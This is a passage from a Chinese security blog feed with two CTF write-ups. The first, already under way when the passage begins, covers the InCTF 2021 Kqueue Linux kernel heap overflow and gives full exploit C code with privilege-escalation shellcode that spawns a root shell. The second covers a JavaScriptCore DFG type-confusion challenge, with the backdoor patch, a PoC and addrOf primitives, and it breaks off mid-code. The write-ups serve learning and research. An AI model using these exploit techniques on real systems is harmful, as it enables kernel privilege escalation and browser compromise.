punctuation">)</span><span class="token operator">:</span><span class="token operator">:</span> <span class="token string">"memory"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">shellcode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">asm</span><span class="token punctuation">(</span><span class="token string">"movq 8(%%rsp), %%r12;"</span><span class="token string">"subq  $0x201179, %%r12;"</span> <span class="token comment">// kernel base</span><span class="token string">"movq %%r12, %%r13;"</span><span class="token string">"addq $0x8c580, %%r13;"</span> <span class="token comment">// prepare_kernel_cred</span><span class="token string">"addq $0x8c140, %%r12;"</span> <span class="token comment">// commit_cred</span><span class="token string">"xorq %%rdi, %%rdi;"</span><span class="token string">"call *%%r13;"</span><span class="token string">"movq %%rax, %%rdi;"</span><span class="token string">"call *%%r12;"</span><span class="token string">"pushq   %0;"</span><span class="token string">"pushq   %1;"</span><span class="token string">"pushq   %2;"</span><span class="token string">"pushq   %3;"</span><span class="token string">"pushq   $shell;"</span><span class="token string">"pushq   $0;"</span><span class="token string">"swapgs;"</span><span class="token string">"popq    %%rbp;"</span><span class="token string">"iretq;"</span> <span class="token operator">::</span><span class="token string">"m"</span><span class="token punctuation">(</span>user_ss<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token string">"m"</span><span class="token punctuation">(</span>user_sp<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"m"</span><span class="token punctuation">(</span>user_rflags<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"m"</span><span class="token punctuation">(</span>user_cs<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">shell</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span><span class="token operator">*</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token class-name">uint64_t</span> data<span class="token punctuation">[</span><span class="token number">0x20</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> seq_fds<span class="token punctuation">[</span><span class="token number">0x200</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token function">save_stat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"shellcode address = %#lx\n"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>shellcode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/dev/kqueue"</span><span class="token punctuation">,</span> O_RDWR<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"open kqueue"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">exit</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x20</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token comment">// data[i] = (uint64_t) 0xdeeabeefdeadbeef;</span>data<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>shellcode<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">create_kqueue</span><span class="token punctuation">(</span><span class="token number">0xffffffff</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">edit_kqueue</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x200</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>seq_fds<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/stat"</span><span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">save_kqueue</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0x40</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0x200</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">read</span><span class="token punctuation">(</span>seq_fds<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> data<span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="方法二"><a href="#方法二" class="headerlink" title="方法二"></a>方法二</h3><p>如果要考虑参数检查，就当这个参数检查是有效的情况下，利用方式也很相似</p><ol><li>create，queue1，data_size=0x20</li><li>create，queue2，max_entries=0xffffffff，queue_size=0x18，data_size=0x20，要求 queue2 后面紧跟的位置就是 queue1-&gt;data 或者 queue1_entries-&gt;data 的位置</li><li>edit queue1，修改 queue1某个data，刚好是 queue2 的第一个 entries，那么就可以伪造一个 queue_entry，data为许多 shellcode 指针</li><li>堆喷射 file_operations</li><li>save queue2，传递参数 max_entries=1，因为 queue2-&gt;max_entries 为 0xffffffff，所以检查是可以通过的，因为第一个 entry 已经伪造好了，data 指向许多 shellcode 指针，堆越界的时候有可能覆盖到 seq_operations 里，从而劫持程序执行流，后续操作就一样了</li></ol><p>这个思路是 <a href="https://bbs.pediy.com/thread-269031.htm">ScUpax0s师傅的 writeup 里的</a> </p><p>具体操作起来，第一第二步可能会复杂一点，具体描述和 ScUpax0s 师傅的 writeup 有点不一样，大概是这个意思就行</p><p>详细 exp 我就不再重复了，可以参考 ScUpax0s 师傅的 writeup</p><h3 id="方法三？"><a href="#方法三？" class="headerlink" title="方法三？"></a>方法三？</h3><p>在前面的分析中，堆溢出的主要原因是 <em>参数检查里面只检查了 <code>request.data_size</code> 是否超过 <code>queue-&gt;queue_size</code> 而不是 <code>queue-&gt;data_size</code></em></p><p>所以 create 的加法溢出并不会对这个堆溢出有多大的影响，只是因为有这个洞的存在，使得 <code>new_queue</code> 分配的大小是 0x18，其相邻位置有概率是 0x20 大小的 seq_operations 结构体，方便了利用</p><p>在这里提供一个堆溢出的想法：</p><ol><li>正常的 create ，比如 max_entries=1，data_size=0x20，那么 queue_size 为 <code>0x18 * (1 + 1) + 0x18</code> 即 0x48</li><li>save，request-&gt;max_entries=1，request-&gt;data_size=0x30，因为 queue_size 为 0x48，通过检查</li><li>memcpy 的时候，写入了 <code>0x30 * 2</code> 即  0x60 的数据，堆同样溢出了</li></ol><p>通过控制 queue_size，可以控制 new_queue 堆内存的大小，再通过控制 edit，还有 save 时 request-&gt;max_entries，request-&gt;data_size，可以控制 new_queue 溢出的内容和长度</p><p>需要的就是一个合适的结构体了，初步判断 tty_struct 不太行，因为 tty_struct 的 ops 字段之前还有一些比较重要的数据不能覆盖，而 ops 字段那个结构体在源码中也没找到在哪分配的，好像是固定的静态字段，官方 writeup 说的是堆喷 tty_struct，但 exp 确实 seq_operations 没懂啥情况</p><p>才疏学浅，没想到能有哪些结构体能劫持一下，往后学习再看看</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#%E4%BE%8B%E9%A2%98%EF%BC%9AInCTF2021-Kqueue">https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#%E4%BE%8B%E9%A2%98%EF%BC%9AInCTF2021-Kqueue</a></li><li><a href="https://bbs.pediy.com/thread-269031.htm">https://bbs.pediy.com/thread-269031.htm</a></li><li><a href="https://blog.bi0s.in/2021/08/17/Pwn/InCTFi21-Kqueue/">https://blog.bi0s.in/2021/08/17/Pwn/InCTFi21-Kqueue/</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;去年参加的一场 CTF，当时不怎么会 kernel，现在想深入学习下 kernel，回过头来看看这道题&lt;/p&gt;
    
    </summary>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/categories/kernel/"/>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/tags/kernel/"/>
    
      <category term="ctf" scheme="http://www.xi4oyu.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>2021-inCTF-DeadlyFastGraph</title>
    <link href="http://www.xi4oyu.top/a50bb9a6/"/>
    <id>http://www.xi4oyu.top/a50bb9a6/</id>
    <published>2021-08-31T09:05:00.000Z</published>
    <updated>2021-08-31T09:05:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>2021 inCTF 比赛时未能做出来的题目，jsc 引擎的利用，回过头发现其实很简单，显然这是一道入门级的 jsc 题目，学到了学到了，参照下官方的 wp 了解一下 jsc 的漏洞利用</p><span id="more"></span><h2 id="题目环境"><a href="#题目环境" class="headerlink" title="题目环境"></a>题目环境</h2><p>题目源码以及附件：<br><a href="https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/DeadlyFastGraph">https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/DeadlyFastGraph</a></p><p>题目远程环境是 ubuntu 18.04，本人复现时使用了 ubuntu 20.04</p><p>因为 patch 还把一些调试有用的 describe 函数给去掉了，所以还是自己修改编译一份便于调试：</p><pre class="line-numbers language-none"><code class="language-none">git clone https:&#x2F;&#x2F;github.com&#x2F;WebKit&#x2F;WebKit.gitcd WebKitgit checkout c40e806df2c49dac3049825cf48251a230296c6epatch -p1 &lt; dfg.patchvim Source&#x2F;JavaScriptCore&#x2F;jsc.cpp # &lt;-- 把 patch 的注释去掉Tools&#x2F;Scripts&#x2F;build-webkit --jsc-only --debugcd WebKitBuild&#x2F;Debug&#x2F;bin.&#x2F;jsc --useConcurrentJIT&#x3D;false<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="WebKit"><a href="#WebKit" class="headerlink" title="WebKit"></a>WebKit</h2><p>既然是入门，当然得先了解下 WebKit 的知识，虽然写的是 WebKit，但实际上本文章关注的是 WebKit 中的 JS 引擎，这个 JS 引擎指的是 WebKit 默认的 <strong>JavaScriptCore</strong>(jsc)，而对于 chrome 来说，它的 JS 引擎是 v8</p><h3 id="JSC"><a href="#JSC" class="headerlink" title="JSC"></a>JSC</h3><p>借用一张图来描述 JSC 如何执行 js 代码：<br><img src="/images/a50bb9a6/0.png" alt="jsc"></p><p>和 v8 类似，JSC 也有 JIT，有三种优化：</p><ol><li>BaseLine JIT：函数调用 6 次及以上，或者代码循环超过 100 次触发；编译成中间代码</li><li>DFG JIT：函数调用 60 次及以上，或者代码循环超过 1000 次触发；基于控制流图分析的优化器，这一点和 v8 的 Turbofan 比较相似，编译成机器码</li><li>FIL JIT：函数调用上千次或代码循环数万次才会触发，优化更细致，比较复杂</li></ol><p>题目的 patch 引发的问题是 DFG 层面的，熟悉 v8 的话，这方面还是比较好理解的</p><h3 id="JSObject"><a href="#JSObject" class="headerlink" title="JSObject"></a>JSObject</h3><p>再借用一张图如下：<br><img src="/images/a50bb9a6/1.png" alt="jsobject"></p><p>一个 js 对象在内存中的布局如上图左侧所示，图中的 <code>butterflyIndexingMask</code> 在我的环境中不存在，通过查看最新版 WebKit 源码，也没有发现这个字段，也不知道这东西哪来的，猜测是特殊的 JSObject 才有这个字段或者说这个字段已经被移除了（<strong>仅个人猜测，欢迎有了解的大佬指正</strong></p><p>一个 js 对象主要有以下内容：</p><ul><li>+0x0: JSCell 最低两个字节是 StructureID，用于查找 Structure，这个东西相当于 v8 的 Map，用来确定属性的偏移位置等</li><li>+0x8：butterfly，相当于 v8 的 elements，用来存储属性和数组内容</li><li>+0x10：从这个偏移往后存储内联属性的内容</li></ul><p>图中右侧反映了 butterfly 的存储方式，可以看到，数组索引 i 的内容对应于 <code>[butterfly + i*8]</code>，而属性 x （<strong>假设是第一个属性</strong>）的存储在 <code>[butterfly - 0x10]</code>，而 <code>[butterfly - 8]</code> 的存储了数组长度和大小</p><p>例如：<code>var obj1 = [1.5];</code><br><img src="/images/a50bb9a6/3.png" alt="obj1"></p><p>添加一个属性：<code>obj1.a = 5.5;</code><br><img src="/images/a50bb9a6/4.png" alt="obj1.a"></p><p>可以看到动态添加了一个属性后，StructureID 和 butterfly 都发生了改变，而且这个属性是存储在 <code>butterfly - 0x10</code> 前面的，不过图中看，这个值并不是准确的 5.5，这个是因为存储属性的地方，存的值都是 JSValue，是 boxed 值，存入的时候要经过编码（box），取出使用要经过解码（unbox）才能得到真实的值</p><p>根据最新版 WebKit 源码的 <code>Source/JavaScriptCore/runtime/JSCJSValue.h</code> 文件里有这么几行注释（<strong>参考链接的那个比较旧了，新版包括题目的版本 double 是从 0002 开始的</strong>）：</p><pre class="line-numbers language-none"><code class="language-none">* The top 15-bits denote the type of the encoded JSValue:     *     *     Pointer &#123;  0000:PPPP:PPPP:PPPP     *              &#x2F; 0002:****:****:****     *     Double  &#123;         ...     *              \ FFFC:****:****:****     *     Integer &#123;  FFFE:0000:IIII:IIII     *...     * 32-bit signed integers are marked with the 16-bit tag 0xFFFE.     *     * The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,     * null and undefined values are represented by specific, invalid pointer values:     *     *     False:     0x06     *     True:      0x07     *     Undefined: 0x0a     *     Null:      0x02<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>注意：指针的值 box 和 unbox 时一样的</strong></p><p>手动进行 unbox 之后，发现值正确了：<br><img src="/images/a50bb9a6/5.png" alt="jsvalue"></p><p>还有内联属性的情况也看一看：<code>var obj2 = &#123;a: 1.1, b:2.2&#125;</code>，创建对象的时候指定的属性都是内联属性了，存储在 butterfly 指针后面的内存区域，同样这些值都是 boxed 的：<br><img src="/images/a50bb9a6/6.png" alt="obj2"></p><p>数组索引的值呢，有时候是 boxed 的 有时候是 unboxed 的，在 obj1 中这个数组可以发现，值都是 unboxed 的，也就是不需要解码操作，同时可以发现这个数组的类型标记为了 <strong>CopyOnWriteArrayWithDouble</strong><br><img src="/images/a50bb9a6/8.png" alt="arraytype1"></p><p>再看看另一种情况：<code>var obj3 = [1, 2.2, &#123;&#125;, undefined];</code><br><img src="/images/a50bb9a6/9.png" alt="arraytype2"><br><img src="/images/a50bb9a6/10.png" alt="obj3"></p><p>可以看到 butterfly 里存的都是 boxed 的值，同时这个数组标记为 <strong>ArrayWithContiguous</strong></p><p>除了 <strong>CopyOnWriteArrayWithDouble</strong>，还有 <strong>CopyWriteArrayWithInt32</strong>，像 <strong>xxxArrayWithInt32</strong> 的是以 unboxed 形式存储的，<strong>ArrayWithContiguous</strong> 这种就是存的值不是只有一种，只能通过编码来区分了，所以不难理解存的是 boxed 的值</p><p><em>这种机制和 v8 的也很类似，v8 通过最低 bit 来区分对象指针和 Smi，ArrayWithContiguous 相当于 PACKED_ELEMENTS，像 double 值 v8 则通过 HeapNumber 对象来存储，同时利用最低 bit 来区分对象和 Smi</em></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>完整的 patch 如下：</p><pre class="line-numbers language-none"><code class="language-none">diff --git a&#x2F;Source&#x2F;JavaScriptCore&#x2F;dfg&#x2F;DFGConstantFoldingPhase.cpp b&#x2F;Source&#x2F;JavaScriptCore&#x2F;dfg&#x2F;DFGConstantFoldingPhase.cppindex eaeaf85ea2..a395a979b8 100644--- a&#x2F;Source&#x2F;JavaScriptCore&#x2F;dfg&#x2F;DFGConstantFoldingPhase.cpp+++ b&#x2F;Source&#x2F;JavaScriptCore&#x2F;dfg&#x2F;DFGConstantFoldingPhase.cpp@@ -41,6 +41,8 @@ #include &quot;PutByIdStatus.h&quot; #include &quot;StructureCache.h&quot; +bool backdoorUsed &#x3D; false;+ namespace JSC &#123; namespace DFG &#123;  class ConstantFoldingPhase : public Phase &#123;@@ -185,7 +187,8 @@ private:                             indexInBlock, SpecNone, AssertNotEmpty, node-&gt;origin, Edge(node-&gt;child1().node(), UntypedUse));                     &#125;                 &#125;-                if (value.m_structure.isSubsetOf(set)) &#123;+                if (!backdoorUsed || value.m_structure.isSubsetOf(set)) &#123;+                    backdoorUsed &#x3D; true;                     m_interpreter.execute(indexInBlock); &#x2F;&#x2F; Catch the fact that we may filter on cell.                     node-&gt;remove(m_graph);                     eliminated &#x3D; true;diff --git a&#x2F;Source&#x2F;JavaScriptCore&#x2F;jsc.cpp b&#x2F;Source&#x2F;JavaScriptCore&#x2F;jsc.cppindex 04f2c970c2..4b7d3ca6cc 100644--- a&#x2F;Source&#x2F;JavaScriptCore&#x2F;jsc.cpp+++ b&#x2F;Source&#x2F;JavaScriptCore&#x2F;jsc.cpp@@ -516,7 +516,8 @@ private:     &#123;         Base::finishCreation(vm);         JSC_TO_STRING_TAG_WITHOUT_TRANSITION();-+        addFunction(vm, &quot;print&quot;, functionPrintStdOut, 1);+        &#x2F;*         addFunction(vm, &quot;debug&quot;, functionDebug, 1);         addFunction(vm, &quot;describe&quot;, functionDescribe, 1);         addFunction(vm, &quot;describeArray&quot;, functionDescribeArray, 1);@@ -671,7 +672,7 @@ private:         addFunction(vm, &quot;asDoubleNumber&quot;, functionAsDoubleNumber, 1);          addFunction(vm, &quot;dropAllLocks&quot;, functionDropAllLocks, 1);-+        *&#x2F;         if (Options::exposeCustomSettersOnGlobalObjectForTesting()) &#123;             &#123;                 CustomGetterSetter* custom &#x3D; CustomGetterSetter::create(vm, nullptr, testCustomAccessorSetter);<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>patch 给 ConstantFoldingPhase.cpp 的一处 if 条件判断添加了必定通过条件的一次机会，同时将大量辅助函数给注释掉了（因为调试要使用 debug 等函数，建议自行修改编译）</p><p>这处 patch 使得可以有一次机会无条件消除 <code>CheckStructure</code> 结点，这相当于在 v8 中的 <code>CheckMaps</code>，显然，针对某一对象操作优化后的代码，会对运行时的实际对象进行 Check，如果对象的类型不符合，则进行解优化，如果 <code>CheckStructure</code> 随意的被消除，那么就能造成类型混淆</p><p>构造 poc 如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> a1 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">1.2</span><span class="token punctuation">,</span> c<span class="token operator">:</span><span class="token number">1.3</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a2 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">1.2</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">foo</span><span class="token punctuation">(</span><span class="token parameter">obj<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        obj<span class="token punctuation">.</span>c <span class="token operator">=</span> value<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">debug</span><span class="token punctuation">(</span><span class="token function">describe</span><span class="token punctuation">(</span>a1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">debug</span><span class="token punctuation">(</span><span class="token function">describe</span><span class="token punctuation">(</span>a2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// for debug</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">foo</span><span class="token punctuation">(</span>a1<span class="token punctuation">,</span> <span class="token number">0x2333</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">foo</span><span class="token punctuation">(</span>a2<span class="token punctuation">,</span> <span class="token number">0x2333</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">print</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// for debug</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因为 jsc 没有像 v8 那样的 %SystemBreak 函数来下断点，这里就用 print 函数来做断点，调试命令如下：</p><pre class="line-numbers language-none"><code class="language-none">set args --useConcurrentJIT&#x3D;false poc.jsb functionPrintStdOutr<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>查看内存分布：<br><img src="/images/a50bb9a6/11.png" alt="poc before dfg"></p><p>继续运行，经过 DFG 优化后，对于 a1 对象，属性 c 在 +0x20 偏移处，而因为类型混淆，将 a2 对象当成 a1 对象的类型对属性 c 写入值，导致 a2 对象 +0x20 处被改写成 0x2333 的 boxed 值：<br><img src="/images/a50bb9a6/12.png" alt="poc after dfg"></p><p><em>这张图片的内存地址和前一张不一致是因为，第一次运行忘记截图了，后来补的</em></p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>有了类型混淆，后面的利用其实和 v8 差不多，<code>类型混淆 -&gt; 泄露地址 -&gt; 任意地址读写 -&gt; wasm shellcode</code></p><p>这里对 poc 进行修改一下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> a1 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> c<span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> d<span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a2 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> a4 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>a<span class="token operator">:</span><span class="token number">1.1</span><span class="token punctuation">,</span> b<span class="token operator">:</span><span class="token number">2.2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token operator">:</span><span class="token number">3.3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span><span class="token number">4.4</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">foo</span><span class="token punctuation">(</span><span class="token parameter">obj<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        obj<span class="token punctuation">.</span>d <span class="token operator">=</span> value<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">foo</span><span class="token punctuation">(</span>a1<span class="token punctuation">,</span> a4<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">foo</span><span class="token punctuation">(</span>a2<span class="token punctuation">,</span> a4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// a3 --> butterfly = addrOf(a4)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以思考一下，经过类型混淆后，往 a2 对象的 +0x10 + 0x20 处写入 a4 对象的地址，这个位置是什么呢？</p><p>a2 和 a3 对象内存上是紧邻的，a2 有两个内联属性，占用 0x10 个字节的空间，再往后就是 a3 的 JSCell 字段和 butterfly 字段，那么这个 poc 的目的就是将 a3 的 butterfly 指针修改成 a4 对象的地址</p><p><strong>注意：经过测试，对象的地址貌似都是 16 字节对齐的，构造紧邻的对象要注意内存对齐产生的空隙</strong></p><p><strong>那么这之后，<code>a3[1]</code> 就指向了 a4 的 butterfly 字段了，可以修改这个对象进行任意地址读写，同时 <code>a3[2]</code> 就指向了 a4 的第一个内联属性，也就是属性 a，可以进行类型混淆泄露地址</strong></p><h3 id="addrOf"><a href="#addrOf" class="headerlink" title="addrOf"></a>addrOf</h3><p>利用 <code>a3[2]</code> 和 <code>a4.a</code> 进行任意对象地址泄露</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">addrOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a4<span class="token punctuation">.</span>a <span class="token operator">=</span> obj<span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a3<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" 